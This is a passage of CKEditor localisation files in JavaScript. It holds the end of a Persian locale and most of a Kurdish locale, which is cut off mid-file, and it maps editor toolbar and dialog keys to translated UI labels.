dic_info : 'در ابتدا دیکشنری کاربر در کوکی ذخیره میشود. با این حال، کوکیها در اندازه محدود شدهاند. وقتی که دیکشنری کاربری بزرگ میشود و به نقطهای که نمیتواند در کوکی ذخیره شود، پس از آن دیکشنری ممکن است بر روی سرور ما ذخیره شود. برای ذخیره دیکشنری شخصی شما بر روی سرور ما، باید یک نام برای دیکشنری خود مشخص نمایید. اگر شما قبلا یک دیکشنری روی سرور ما ذخیره کردهاید، لطفا نام آنرا درج و روی دکمه بازیافت کلیک نمایید.',
aboutTab : 'درباره'
},
about :
{
title : 'درباره CKEditor',
dlgTitle : 'درباره CKEditor',
help : 'بررسی $1 برای راهنمایی.',
userGuide : 'راهنمای کاربران CKEditor',
moreInfo : 'برای کسب اطلاعات مجوز لطفا به وب سایت ما مراجعه کنید:',
copy : 'حق نشر © $1. کلیه حقوق محفوظ است.'
},
maximize : 'حداکثر کردن',
minimize : 'حداقل کردن',
fakeobjects :
{
anchor : 'لنگر',
flash : 'انیمشن فلش',
iframe : 'IFrame',
hiddenfield : 'فیلد پنهان',
unknown : 'شیء ناشناخته'
},
resize : 'کشیدن برای تغییر اندازه',
colordialog :
{
title : 'انتخاب رنگ',
options : 'گزینههای رنگ',
highlight : 'متمایز',
selected : 'رنگ انتخاب شده',
clear : 'پاک کردن'
},
toolbarCollapse : 'بستن نوار ابزار',
toolbarExpand : 'بازکردن نوار ابزار',
toolbarGroups :
{
document : 'سند',
clipboard : 'حافظه موقت/برگشت',
editing : 'در حال ویرایش',
forms : 'فرمها',
basicstyles : 'شیوههای پایه',
paragraph : 'بند',
links : 'پیوندها',
insert : 'ورود',
styles : 'شیوهها',
colors : 'رنگها',
tools : 'ابزارها'
},
bidi :
{
ltr : 'نوشتار متن از چپ به راست',
rtl : 'نوشتار متن از راست به چپ'
},
docprops :
{
label : 'ویژگیهای سند',
title : 'ویژگیهای سند',
design : 'طراحی',
meta : 'فراداده',
chooseColor : 'انتخاب',
other : '<سایر>',
docTitle : 'عنوان صفحه',
charset : 'رمزگذاری نویسهگان',
charsetOther : 'رمزگذاری نویسهگان دیگر',
charsetASCII : 'ASCII',
charsetCE : 'اروپای مرکزی',
charsetCT : 'چینی رسمی (Big5)',
charsetCR : 'سیریلیک',
charsetGR : 'یونانی',
charsetJP : 'ژاپنی',
charsetKR : 'کرهای',
charsetTR : 'ترکی',
charsetUN : 'یونیکُد (UTF-8)',
charsetWE : 'اروپای غربی',
docType : 'عنوان نوع سند',
docTypeOther : 'عنوان نوع سند دیگر',
xhtmlDec : 'شامل تعاریف XHTML',
bgColor : 'رنگ پسزمینه',
bgImage : 'URL تصویر پسزمینه',
bgFixed : 'پسزمینهٴ پیمایش ناپذیر',
txtColor : 'رنگ متن',
margin : 'حاشیههای صفحه',
marginTop : 'بالا',
marginLeft : 'چپ',
marginRight : 'راست',
marginBottom : 'پایین',
metaKeywords : 'کلیدواژگان نمایهگذاری سند (با کاما جدا شوند)',
metaDescription : 'توصیف سند',
metaAuthor : 'نویسنده',
metaCopyright : 'حق انتشار',
previewHtml : '<p>این یک <strong>متن نمونه</strong> است. شما در حال استفاده از <a href="javascript:void(0)">CKEditor</a> هستید.</p>'
}
};
| JavaScript |
/*
Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
/*
Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
/**
* @fileOverview
*/
/**#@+
@type String
@example
*/
/**
* Contains the dictionary of language entries.
* @namespace
*/
CKEDITOR.lang['ku'] =
{
/**
* The language reading direction. Possible values are "rtl" for
* Right-To-Left languages (like Arabic) and "ltr" for Left-To-Right
* languages (like English).
* @default 'ltr'
*/
dir : 'rtl',
/*
* Screenreader titles. Please note that screenreaders are not always capable
* of reading non-English words. So be careful while translating it.
*/
editorTitle : 'دهسکاریکهری ناونیشان',
editorHelp : 'کلیکی ALT لهگهڵ 0 بکه بۆ یارمهتی',
// ARIA descriptions.
toolbars : 'تووڵاەرازی دەسکاریکەر',
editor : 'سەرنووسەی دەقی بەپیت',
// Toolbar buttons without dialogs.
source : 'سەرچاوە',
newPage : 'پەڕەیەکی نوێ',
save : 'پاشکەوتکردن',
preview : 'پێشبینین',
cut : 'بڕین',
copy : 'لەبەرگرنتەوه',
paste : 'لکاندن',
print : 'چاپکردن',
underline : 'ژێرهێڵ',
bold : 'قەڵەو',
italic : 'لار',
selectAll : 'نیشانکردنی هەمووی',
removeFormat : 'لابردنی داڕشتەکە',
strike : 'لێدان',
subscript : 'ژێرنووس',
superscript : 'سەرنووس',
horizontalrule : 'دانانی هێلی ئاسۆیی',
pagebreak : 'دانانی پشووی پەڕە بۆ چاپکردن',
pagebreakAlt : 'پشووی پەڕە',
unlink : 'لابردنی بەستەر',
undo : 'پووچکردنەوه',
redo : 'هەڵگەڕاندنەوه',
// Common messages and labels.
common :
{
browseServer : 'هێنانی ڕاژە',
url : 'ناونیشانی بەستەر',
protocol : 'پڕۆتۆکۆڵ',
upload : 'بارکردن',
uploadSubmit : 'ناردنی بۆ ڕاژە',
image : 'وێنە',
flash : 'فلاش',
form : 'داڕشتە',
checkbox : 'خانەی نیشانکردن',
radio : 'جێگرەوەی دوگمە',
textField : 'خانەی دەق',
textarea : 'ڕووبەری دەق',
hiddenField : 'شاردنەوی خانە',
button : 'دوگمە',
select : 'هەڵبژاردەی خانە',
imageButton : 'دوگمەی وێنە',
notSet : '<هیچ دانەدراوە>',
id : 'ناسنامە',
name : 'ناو',
langDir : 'ئاراستەی زمان',
langDirLtr : 'چەپ بۆ ڕاست (LTR)',
langDirRtl : 'ڕاست بۆ چەپ (RTL)',
langCode : 'هێمای زمان',
longDescr : 'پێناسەی درێژی بەستەر',
cssClass : 'شێوازی چینی پهڕە',
advisoryTitle : 'ڕاوێژکاری سەردێڕ',
cssStyle : 'شێواز',
ok : 'باشە',
cancel : 'هەڵوەشاندن',
close : 'داخستن',
preview : 'پێشبینین',
generalTab : 'گشتی',
advancedTab : 'پهرهسهندوو',
validateNumberFailed : 'ئەم نرخە ژمارە نیه، تکایە نرخێکی ژمارە بنووسە.',
confirmNewPage : 'سەرجەم گۆڕانکاریەکان و پێکهاتەکانی ناوەووە لەدەست دەدەی گەر بێتوو پاشکەوتی نەکەی یەکەم جار، تۆ هەر دڵنیایی لەکردنەوەی پەنجەرەکی نوێ؟',
confirmCancel : 'هەندێك هەڵبژاردە گۆڕدراوە. تۆ دڵنیایی لهداخستنی ئەم دیالۆگە؟',
options : 'هەڵبژاردە',
target : 'ئامانج',
targetNew : 'پەنجەرەیهکی نوێ (_blank)',
targetTop : 'لووتکەی پەنجەرە (_top)',
targetSelf : 'لەهەمان پەنجەرە (_self)',
targetParent : 'پەنجەرەی باوان (_parent)',
langDirLTR : 'چەپ بۆ ڕاست (LTR)',
langDirRTL : 'ڕاست بۆ چەپ (RTL)',
styles : 'شێواز',
cssClasses : 'شێوازی چینی پەڕە',
width : 'پانی',
height : 'درێژی',
align : 'ڕێککەرەوە',
alignLeft : 'چەپ',
alignRight : 'ڕاست',
alignCenter : 'ناوەڕاست',
alignTop : 'سەرەوە',
alignMiddle : 'ناوەند',
alignBottom : 'ژێرەوە',
invalidValue : 'نرخێکی نادرووست.',
invalidHeight : 'درێژی دەبێت ژمارە بێت.',
invalidWidth : 'پانی دەبێت ژمارە بێت.',
invalidCssLength : 'ئەم نرخەی دراوە بۆ خانەی "%1" دەبێت ژمارەکی درووست بێت یان بێ ناونیشانی ئامرازی (px, %, in, cm, mm, em, ex, pt, یان pc).',
invalidHtmlLength : 'ئەم نرخەی دراوە بۆ خانەی "%1" دەبێت ژمارەکی درووست بێت یان بێ ناونیشانی ئامرازی HTML (px یان %).',
invalidInlineStyle : 'دانهی نرخی شێوازی ناوهێڵ دهبێت پێکهاتبێت لهیهك یان زیاتری داڕشته "ناو : نرخ", جیاکردنهوهی بهفاریزهوخاڵ',
cssLengthTooltip : 'ژمارهیهك بنووسه بۆ نرخی piksel یان ئامرازێکی درووستی CSS (px, %, in, cm, mm, em, ex, pt, یان pc).',
// Put the voice-only part of the label in the span.
unavailable : '%1<span class="cke_accessibility">, ئامادە نیە</span>'
},
contextmenu :
{
options : 'هەڵبژاردەی لیستەی کلیکی دەستی ڕاست'
},
// Special char dialog.
specialChar :
{
toolbar : 'دانانەی نووسەی تایبەتی',
title : 'هەڵبژاردنی نووسەی تایبەتی',
options : 'هەڵبژاردەی نووسەی تایبەتی'
},
// Link dialog.
link :
{
toolbar : 'دانان/ڕێکخستنی بەستەر',
other : '<هیتر>',
menu : 'چاکسازی بەستەر',
title : 'بەستەر',
info : 'زانیاری بەستەر',
target : 'ئامانج',
upload : 'بارکردن',
advanced : 'پێشکهوتوو',
type : 'جۆری بهستهر',
toUrl : 'ناونیشانی بهستهر',
toAnchor : 'بهستهر بۆ لهنگهر له دهق',
toEmail : 'ئیمهیل',
targetFrame : '<چووارچێوه>',
targetPopup : '<پهنجهرهی سهرههڵدهر>',
targetFrameName : 'ناوی ئامانجی چووارچێوه',
targetPopupName : 'ناوی پهنجهرهی سهرههڵدهر',
popupFeatures : 'خاسیهتی پهنجهرهی سهرههڵدهر',
popupResizable : 'توانای گۆڕینی قهباره',
popupStatusBar : 'هێڵی دۆخ',
popupLocationBar: 'هێڵی ناونیشانی بهستهر',
popupToolbar : 'هێڵی تووڵامراز',
popupMenuBar : 'هێڵی لیسته',
popupFullScreen : 'پڕ بهپڕی شاشه (IE)',
popupScrollBars : 'هێڵی هاتووچۆپێکردن',
popupDependent : 'پێوهبهستراو (Netscape)',
popupLeft : 'جێگای چهپ',
popupTop : 'جێگای سهرهوه',
id : 'ناسنامه',
langDir : 'ئاراستهی زمان',
langDirLTR : 'چهپ بۆ ڕاست (LTR)',
langDirRTL : 'ڕاست بۆ چهپ (RTL)',
acccessKey : 'کلیلی دهستپێگهیشتن',
name : 'ناو',
langCode : 'هێمای زمان',
tabIndex : 'بازدهری تابی ئیندێکس',
advisoryTitle : 'ڕاوێژکاری سهردێڕ',
advisoryContentType : 'جۆری ناوهڕۆکی ڕاویژکار',
cssClasses : 'شێوازی چینی پهڕه',
charset : 'بەستەری سەرچاوەی نووسه',
styles : 'شێواز',
rel : 'پهیوهندی (rel)',
selectAnchor : 'ههڵبژاردنی لهنگهرێك',
anchorName : 'بهپێی ناوی لهنگهر',
anchorId : 'بهپێی ناسنامهی توخم',
emailAddress : 'ناونیشانی ئیمهیل',
emailSubject : 'بابهتی نامه',
emailBody : 'ناوهڕۆکی نامه',
noAnchors : '(هیچ جۆرێکی لهنگهر ئاماده نیه لهم پهڕهیه)',
noUrl : 'تکایه ناونیشانی بهستهر بنووسه',
noEmail : 'تکایه ناونیشانی ئیمهیل بنووسه'
},
// Anchor dialog
anchor :
{
toolbar : 'دانان/چاکسازی لهنگهر',
menu : 'چاکسازی لهنگهر',
title : 'خاسیهتی لهنگهر',
name : 'ناوی لهنگهر',
errorName : 'تکایه ناوی لهنگهر بنووسه',
remove : 'لابردنی لهنگهر'
},
// List style dialog
list:
{
numberedTitle : 'خاسیهتی لیستی ژمارهیی',
bulletedTitle : 'خاسیهتی لیستی خاڵی',
type : 'جۆر',
start : 'دهستپێکردن',
validateStartNumber :'دهستپێکهری لیستی ژمارهیی دهبێت تهنها ژماره بێت.',
circle : 'بازنه',
disc : 'پهپکه',
square : 'چووراگۆشه',
none : 'هیچ',
notset : '<دانهندراوه>',
armenian : 'ئاراستهی ژمارهی ئهرمهنی',
georgian : 'ئاراستهی ژمارهی جۆڕجی (an, ban, gan, وههیتر.)',
lowerRoman : 'ژمارهی ڕۆمی بچووك (i, ii, iii, iv, v, وههیتر.)',
upperRoman : 'ژمارهی ڕۆمی گهوره (I, II, III, IV, V, وههیتر.)',
lowerAlpha : 'ئهلفابێی بچووك (a, b, c, d, e, وههیتر.)',
upperAlpha : 'ئهلفابێی گهوره (A, B, C, D, E, وههیتر.)',
lowerGreek : 'یۆنانی بچووك (alpha, beta, gamma, وههیتر.)',
decimal : 'ژماره (1, 2, 3, وههیتر.)',
decimalLeadingZero : 'ژماره سفڕی لهپێشهوه (01, 02, 03, وههیتر.)'
},
// Find And Replace Dialog
findAndReplace :
{
title : 'گهڕان وه لهبریدانان',
find : 'گهڕان',
replace : 'لهبریدانان',
findWhat : 'گهڕان بهدووای:',
replaceWith : 'لهبریدانان به:',
notFoundMsg : 'هیچ دهقه گهڕانێك نهدۆزراوه.',
findOptions : 'ههڵبژاردهکانی گهڕان',
matchCase : 'جیاکردنهوه لهنێوان پیتی گهورهو بچووك',
matchWord : 'تهنها ههموو وشهکه',
matchCyclic : 'گهڕان لهههموو پهڕهکه',
replaceAll : 'لهبریدانانی ههمووی',
replaceSuccessMsg : ' پێشهاته(ی) لهبری دانرا. %1'
},
// Table Dialog
table :
{
toolbar : 'خشته',
title : 'خاسیهتی خشته',
menu : 'خاسیهتی خشته',
deleteTable : 'سڕینهوهی خشته',
rows : 'ڕیز',
columns : 'ستوونهکان',
border : 'گهورهیی پهراوێز',
widthPx : 'وێنهخاڵ - پیکسل',
widthPc : 'لهسهدا',
widthUnit : 'پانی یهکه',
cellSpace : 'بۆشایی خانه',
cellPad : 'بۆشایی ناوپۆش',
caption : 'سهردێڕ',
summary : 'کورته',
headers : 'سهرپهڕه',
headersNone : 'هیچ',
headersColumn : 'یهکهم ئهستوون',
headersRow : 'یهکهم ڕیز',
headersBoth : 'ههردووك',
invalidRows : 'ژمارهی ڕیز دهبێت گهورهتر بێت لهژمارهی 0.',
invalidCols : 'ژمارهی ئهستوونی دهبێت گهورهتر بێت لهژمارهی 0.',
invalidBorder : 'ژمارهی پهراوێز دهبێت تهنها ژماره بێت.',
invalidWidth : 'پانی خشته دهبێت تهنها ژماره بێت.',
invalidHeight : 'درێژی خشته دهبێت تهنها ژماره بێت.',
invalidCellSpacing : 'بۆشایی خانه دهبێت ژمارهکی درووست بێت.',
invalidCellPadding : 'ناوپۆشی خانه دهبێت ژمارهکی درووست بێت.',
cell :
{
menu : 'خانه',
insertBefore : 'دانانی خانه لهپێش',
insertAfter : 'دانانی خانه لهپاش',
deleteCell : 'سڕینهوهی خانه',
merge : 'تێکهڵکردنی خانه',
mergeRight : 'تێکهڵکردنی لهگهڵ ڕاست',
mergeDown : 'تێکهڵکردنی لهگهڵ خوارهوه',
splitHorizontal : 'دابهشکردنی خانهی ئاسۆیی',
splitVertical : 'دابهشکردنی خانهی ئهستونی',
title : 'خاسیهتی خانه',
cellType : 'جۆری خانه',
rowSpan : 'ماوهی نێوان ڕیز',
colSpan : 'بستی ئهستونی',
wordWrap : 'پێچانهوهی وشه',
hAlign : 'ڕیزکردنی ئاسۆیی',
vAlign : 'ڕیزکردنی ئهستونی',
alignBaseline : 'هێڵهبنهڕهت',
bgColor : 'ڕهنگی پاشبنهما',
borderColor : 'ڕهنگی پهراوێز',
data : 'داتا',
header : 'سهرپهڕه',
yes : 'بهڵێ',
no : 'نهخێر',
invalidWidth : 'پانی خانه دهبێت بهتهواوی ژماره بێت.',
invalidHeight : 'درێژی خانه بهتهواوی دهبێت ژماره بێت.',
invalidRowSpan : 'ماوهی نێوان ڕیز بهتهواوی دهبێت ژماره بێت.',
invalidColSpan : 'ماوهی نێوان ئهستونی بهتهواوی دهبێت ژماره بێت.',
chooseColor : 'ههڵبژاردن'
},
row :
{
menu : 'ڕیز',
insertBefore : 'دانانی ڕیز لهپێش',
insertAfter : 'دانانی ڕیز لهپاش',
deleteRow : 'سڕینهوهی ڕیز'
},
column :
{
menu : 'ئهستون',
insertBefore : 'دانانی ئهستون لهپێش',
insertAfter : 'دانانی ئهستوون لهپاش',
deleteColumn : 'سڕینهوهی ئهستوون'
}
},
// Button Dialog.
button :
{
title : 'خاسیهتی دوگمه',
text : '(نرخی) دهق',
type : 'جۆر',
typeBtn : 'دوگمه',
typeSbm : 'ناردن',
typeRst : 'ڕێکخستنهوه'
},
// Checkbox and Radio Button Dialogs.
checkboxAndRadio :
{
checkboxTitle : 'خاسیهتی چووارگۆشی پشکنین',
radioTitle : 'خاسیهتی جێگرهوهی دوگمه',
value : 'نرخ',
selected : 'ههڵبژاردرا'
},
// Form Dialog.
form :
{
title : 'خاسیهتی داڕشته',
menu : 'خاسیهتی داڕشته',
action : 'کردار',
method : 'ڕێگه',
encoding : 'بهکۆدکهر'
},
// Select Field Dialog.
select :
{
title : 'ههڵبژاردهی خاسیهتی خانه',
selectInfo : 'زانیاری',
opAvail : 'ههڵبژاردهی ههبوو',
value : 'نرخ',
size : 'گهورهیی',
lines : 'هێڵهکان',
chkMulti : 'ڕێدان بهفره ههڵبژارده',
opText : 'دهق',
opValue : 'نرخ',
btnAdd : 'زیادکردن',
btnModify : 'گۆڕانکاری',
btnUp : 'سهرهوه',
btnDown : 'خوارهوه',
btnSetValue : 'دابنێ وهك نرخێکی ههڵبژێردراو',
btnDelete : 'سڕینهوه'
},
// Textarea Dialog.
textarea :
{
title : 'خاسیهتی ڕووبهری دهق',
cols : 'ئهستونیهکان',
rows : 'ڕیزهکان'
},
// Text Field Dialog.
textfield :
{
title : 'خاسیهتی خانهی دهق',
name : 'ناو',
value : 'نرخ',
charWidth : 'پانی نووسه',
maxChars : 'ئهوپهڕی نووسه',
type : 'جۆر',
typeText : 'دهق',
typePass : 'پێپهڕهوشه'
},
// Hidden Field Dialog.
hidden :
{
title : 'خاسیهتی خانهی شاردراوه',
name : 'ناو',
value : 'نرخ'
},
// Image Dialog.
image :
{
title : 'خاسیهتی وێنه',
titleButton : 'خاسیهتی دوگمهی وێنه',
menu : 'خاسیهتی وێنه',
infoTab : 'زانیاری وێنه',
btnUpload : 'ناردنی بۆ ڕاژه',
upload : 'بارکردن',
alt : 'جێگرهوهی دهق',
lockRatio : 'داخستنی ڕێژه',
resetSize : 'ڕێکخستنهوهی قهباره',
border : 'پهراوێز',
hSpace : 'بۆشایی ئاسۆیی',
vSpace : 'بۆشایی ئهستونی',
alertUrl : 'تکایه ناونیشانی بهستهری وێنه بنووسه',
linkTab : 'بهستهر',
button2Img : 'تۆ دهتهوێت دوگمهی وێنهی دیاریکراو بگۆڕیت بۆ وێنهکی ئاسایی؟',
img2Button : 'تۆ دهتهوێت وێنهی دیاریکراو بگۆڕیت بۆ دوگمهی وێنه؟',
urlMissing : 'سهرچاوهی بهستهری وێنه بزره',
validateBorder : 'پهراوێز دهبێت بهتهواوی تهنها ژماره بێت.',
validateHSpace : 'بۆشایی ئاسۆیی دهبێت بهتهواوی تهنها ژماره بێت.',
validateVSpace : 'بۆشایی ئهستونی دهبێت بهتهواوی تهنها ژماره بێت.'
},
// Flash Dialog
flash :
{
properties : 'خاسیهتی فلاش',
propertiesTab : 'خاسیهت',
title : 'خاسیهتی فلاش',
chkPlay : 'پێکردنی یان لێدانی خۆکار',
chkLoop : 'گرێ',
chkMenu : 'چالاککردنی لیستهی فلاش',
chkFull : 'ڕێپێدان به پڕ بهپڕی شاشه',
scale : 'پێوانه',
scaleAll : 'نیشاندانی ههموو',
scaleNoBorder : 'بێ پهراوێز',
scaleFit : 'بهوردی بگونجێت',
access : 'دهستپێگهیشتنی نووسراو',
accessAlways : 'ههمیشه',
accessSameDomain: 'ههمان دۆمهین',
accessNever : 'ههرگیز',
alignAbsBottom : 'له ژێرهوه',
alignAbsMiddle : 'لهناوهند',
alignBaseline : 'هێڵەبنەڕەت',
alignTextTop : 'دهق لهسهرهوه',
quality : 'جۆرایهتی',
qualityBest : 'باشترین',
qualityHigh : 'بهرزی',
qualityAutoHigh : 'بهرزی خۆکار',
qualityMedium : 'مامناوهند',
qualityAutoLow : 'نزمی خۆکار',
qualityLow : 'نزم',
windowModeWindow: 'پهنجهره',
windowModeOpaque: 'ناڕوون',
windowModeTransparent : 'ڕۆشن',
windowMode : 'شێوازی پهنجهره',
flashvars : 'گۆڕاوهکان بۆ فلاش',
bgcolor : 'ڕهنگی پاشبنهما',
hSpace : 'بۆشایی ئاسۆیی',
vSpace : 'بۆشایی ئهستونی',
validateSrc : 'ناونیشانی بهستهر نابێت خاڵی بێت',
validateHSpace : 'بۆشایی ئاسۆیی دهبێت ژماره بێت.',
validateVSpace : 'بۆشایی ئهستونی دهبێت ژماره بێت.'
},
// Speller Pages Dialog
spellCheck :
{
toolbar : 'پشکنینی ڕێنووس',
title : 'پشکنینی ڕێنووس',
notAvailable : 'ببووره، لهمکاتهدا ڕاژهکه لهبهردهستا نیه.',
errorLoading : 'ههڵه لههێنانی داخوازینامهی خانهخۆێی ڕاژه: %s.',
notInDic : 'لهفهرههنگ دانیه',
changeTo : 'گۆڕینی بۆ',
btnIgnore : 'پشتگوێ کردن',
btnIgnoreAll : 'پشتگوێکردنی ههمووی',
btnReplace : 'لهبریدانن',
btnReplaceAll : 'لهبریدانانی ههمووی',
btnUndo : 'پووچکردنهوه',
noSuggestions : '- هیچ پێشنیارێك -',
progress : 'پشکنینی ڕێنووس لهبهردهوامبوون دایه...',
noMispell : 'پشکنینی ڕێنووس کۆتای هات: هیچ ههڵهیهکی ڕێنووس نهدۆزراوه',
noChanges : 'پشکنینی ڕێنووس کۆتای هات: هیچ وشهیهك نۆگۆڕدرا',
oneChange : 'پشکنینی ڕێنووس کۆتای هات: یهك وشه گۆڕدرا',
manyChanges : 'پشکنینی ڕێنووس کۆتای هات: لهسهدا %1 ی وشهکان گۆڕدرا',
ieSpellDownload : 'پشکنینی ڕێنووس دانهمزراوه. دهتهوێت ئێستا دایبگریت?'
},
smiley :
{
toolbar : 'زهردهخهنه',
title : 'دانانی زهردهخهنهیهك',
options : 'ههڵبژاردهی زهردهخهنه'
},
elementsPath :
{
eleLabel : 'ڕێڕهوی توخمهکان',
eleTitle : '%1 توخم'
},
numberedlist : 'دانان/لابردنی ژمارەی لیست',
bulletedlist : 'دانان/لابردنی خاڵی لیست',
indent : 'زیادکردنی بۆشایی',
outdent : 'کەمکردنەوەی بۆشایی',
justify :
{
left : 'بههێڵ کردنی چهپ',
center : 'ناوهڕاست',
right : 'بههێڵ کردنی ڕاست',
block : 'هاوستوونی'
},
blockquote : 'بەربەستکردنی وتەی وەرگیراو',
clipboard :
{
title : 'لکاندن',
cutError : 'پارێزی وێبگەڕەکەت ڕێگهنادات بە سەرنووسەکە لهبڕینی خۆکار. تکایە لەبری ئەمە ئەم فەرمانە بەکاربهێنە بەداگرتنی کلیلی (Ctrl/Cmd+X).',
copyError : 'پارێزی وێبگەڕەکەت ڕێگهنادات بەسەرنووسەکە لە لکاندنی دەقی خۆکار. تکایە لەبری ئەمە ئەم فەرمانە بەکاربهێنە بەداگرتنی کلیلی (Ctrl/Cmd+C).',
pasteMsg : 'تکایه بیلکێنه لهناوهوهی ئهم سنوقه لهڕێی تهختهکلیلهکهت بهباکارهێنانی کلیلی (<STRONG>Ctrl/Cmd+V</STRONG>) دووای کلیکی باشه بکه.',
securityMsg : 'بههۆی شێوهپێدانی پارێزی وێبگهڕهکهت، سهرنووسهکه ناتوانێت دهستبگهیهنێت بهههڵگیراوهکه ڕاستهوخۆ. بۆیه پێویسته دووباره بیلکێنیت لهم پهنجهرهیه.',
pasteArea : 'ناوچهی لکاندن'
},
pastefromword :
{
confirmCleanup : 'ئهم دهقهی بهتهمای بیلکێنی پێدهچێت له word هێنرابێت. دهتهوێت پاکی بکهیوه پێش ئهوهی بیلکێنی؟',
toolbar : 'لکاندنی لهڕێی Word',
title : 'لکاندنی لهلایهن Word',
error : 'هیچ ڕێگهیهك نهبوو لهلکاندنی دهقهکه بههۆی ههڵهکی ناوهخۆیی'
},
pasteText :
{
button : 'لکاندنی وهك دهقی ڕوون',
title : 'لکاندنی وهك دهقی ڕوون'
},
templates :
{
button : 'ڕووکار',
title : 'پێکهاتهی ڕووکار',
options : 'ههڵبژاردهکانی ڕووکار',
insertOption : 'لهشوێن دانانی ئهم پێکهاتانهی ئێستا',
selectPromptMsg : 'ڕووکارێك ههڵبژێره بۆ کردنهوهی له سهرنووسهر:',
emptyListMsg : '(هیچ ڕووکارێك دیارینهکراوه)'
},
showBlocks : 'نیشاندانی بەربەستەکان',
stylesCombo :
{
label : 'شێواز',
panelTitle : 'شێوازی ڕازاندنهوه',
panelTitle1 : 'شێوازی خشت',
panelTitle2 : 'شێوازی ناوهێڵ',
panelTitle3 : 'شێوازی بهرکار'
},
format :
{
label : 'ڕازاندنهوه',
panelTitle : 'بهشی ڕازاندنهوه',
tag_p : 'ئاسایی',
tag_pre : 'شێوازکراو',
tag_address : 'ناونیشان',
tag_h1 : 'سهرنووسهی ١',
tag_h2 : 'سهرنووسهی ٢',
tag_h3 : 'سهرنووسهی ٣',
tag_h4 : 'سهرنووسهی ٤',
tag_h5 : 'سهرنووسهی ٥',
tag_h6 : 'سهرنووسهی ٦',
tag_div : '(DIV)-ی ئاسایی'
},
div :
{
title : 'دانانی لهخۆگری Div',
toolbar : 'دانانی لهخۆگری Div',
cssClassInputLabel : 'شێوازی چینی پهڕه',
styleSelectLabel : 'شێواز',
IdInputLabel : 'ناسنامه',
languageCodeInputLabel : 'هێمای زمان',
inlineStyleInputLabel : 'شێوازی ناوهێڵ',
advisoryTitleInputLabel : 'سهردێڕ',
langDirLabel : 'ئاراستهی زمان',
langDirLTRLabel : 'چهپ بۆ ڕاست (LTR)',
langDirRTLLabel : 'ڕاست بۆ چهپ (RTL)',
edit : 'چاکسازی Div',
remove : 'لابردنی Div'
},
iframe :
{
title : 'دیالۆگی چووارچێوه',
toolbar : 'چووارچێوه',
noUrl : 'تکایه ناونیشانی بهستهر بنووسه بۆ چووارچێوه',
scrolling : 'چالاککردنی هاتووچۆپێکردن',
border : 'نیشاندانی لاکێشه بهچوواردهوری چووارچێوه'
},
font :
{
label : 'فۆنت',
voiceLabel : 'فۆنت',
panelTitle : 'ناوی فۆنت'
},
fontSize :
{
label : 'گهورهیی',
voiceLabel : 'گهورهیی فۆنت',
panelTitle : 'گهورهیی فۆنت'
},
colorButton :
{
textColorTitle : 'ڕهنگی دهق',
bgColorTitle : 'ڕهنگی پاشبنهما',
panelTitle : 'ڕهنگهکان',
auto : 'خۆکار',
more : 'ڕهنگی زیاتر...'
},
colors :
{
'000' : 'ڕهش',
'800000' : 'سۆرو ماڕوونی',
'8B4513' : 'ماڕوونی',
'2F4F4F' : 'سهوزی تاریك',
'008080' : 'سهوزو شین',
'000080' : 'شینی تۆخ',
'4B0082' : 'مۆری تۆخ',
'696969' : 'ڕهساسی تۆخ',
'B22222' : 'سۆری تۆخ',
'A52A2A' : 'قاوهیی',
'DAA520' : 'قاوهیی بریسکهدار',
'006400' : 'سهوزی تۆخ',
'40E0D0' : 'شینی ناتۆخی بریسکهدار',
'0000CD' : 'شینی مامناوهند',
'800080' : 'پهمبهیی',
'808080' : 'ڕهساسی',
'F00' : 'سۆر',
'FF8C00' : 'نارهنجی تۆخ',
'FFD700' : 'زهرد',
'008000' : 'سهوز',
'0FF' : 'شینی ئاسمانی',
'00F' : 'شین',
'EE82EE' : 'پهمهیی',
'A9A9A9' : 'ڕهساسی ناتۆخ',
'FFA07A' : 'نارهنجی ناتۆخ',
'FFA500' : 'نارهنجی',
'FFFF00' : 'زهرد',
'00FF00' : 'سهوز',
'AFEEEE' : 'شینی ناتۆخ',
'ADD8E6' : 'شینی زۆر ناتۆخ',
'DDA0DD' : 'پهمهیی ناتۆخ',
'D3D3D3' : 'ڕهساسی بریسکهدار',
'FFF0F5' : 'جهرگی زۆر ناتۆخ',
'FAEBD7' : 'جهرگی ناتۆخ',
'FFFFE0' : 'سپی ناتۆخ',
'F0FFF0' : 'ههنگوینی ناتۆخ',
'F0FFFF' : 'شینێکی زۆر ناتۆخ',
'F0F8FF' : 'شینێکی ئاسمانی زۆر ناتۆخ',
'E6E6FA' : 'شیری',
'FFF' : 'سپی'
},
scayt :
{
title : 'پشکنینی نووسه لهکاتی نووسین',
opera_title : 'پشتیوانی نهکراوه لهلایهن Opera',
enable : 'چالاککردنی SCAYT',
disable : 'ناچالاککردنی SCAYT',
about : 'دهربارهی SCAYT',
toggle : 'گۆڕینی SCAYT',
options : 'ههڵبژارده',
langs : 'زمانهکان',
moreSuggestions : 'پێشنیاری زیاتر',
ignore : 'پشتگوێخستن',
ignoreAll : 'پشتگوێخستنی ههمووی',
addWord : 'زیادکردنی ووشه',
emptyDic : 'ناوی فهرههنگ نابێت خاڵی بێت.',
noSuggestions : 'No suggestions', // MISSING
optionsTab : 'ههڵبژارده',
allCaps : 'پشتگوێخستنی وشانهی پێکهاتووه لهپیتی گهوره',
ignoreDomainNames : 'پشتگوێخستنی دۆمهین',
mixedCase : 'پشتگوێخستنی وشانهی پێکهاتووه لهپیتی گهورهو بچووك',
mixedWithDigits : 'پشتگوێخستنی وشانهی پێکهاتووه لهژماره',
languagesTab : 'زمانهکان',
dictionariesTab : 'فهرههنگهکان',
dic_field_name : 'ناوی فهرههنگ',
dic_create : 'درووستکردن',
dic_restore : 'گهڕاندنهوه',
dic_delete : 'سڕینهوه',
dic_rename : 'گۆڕینی ناو',
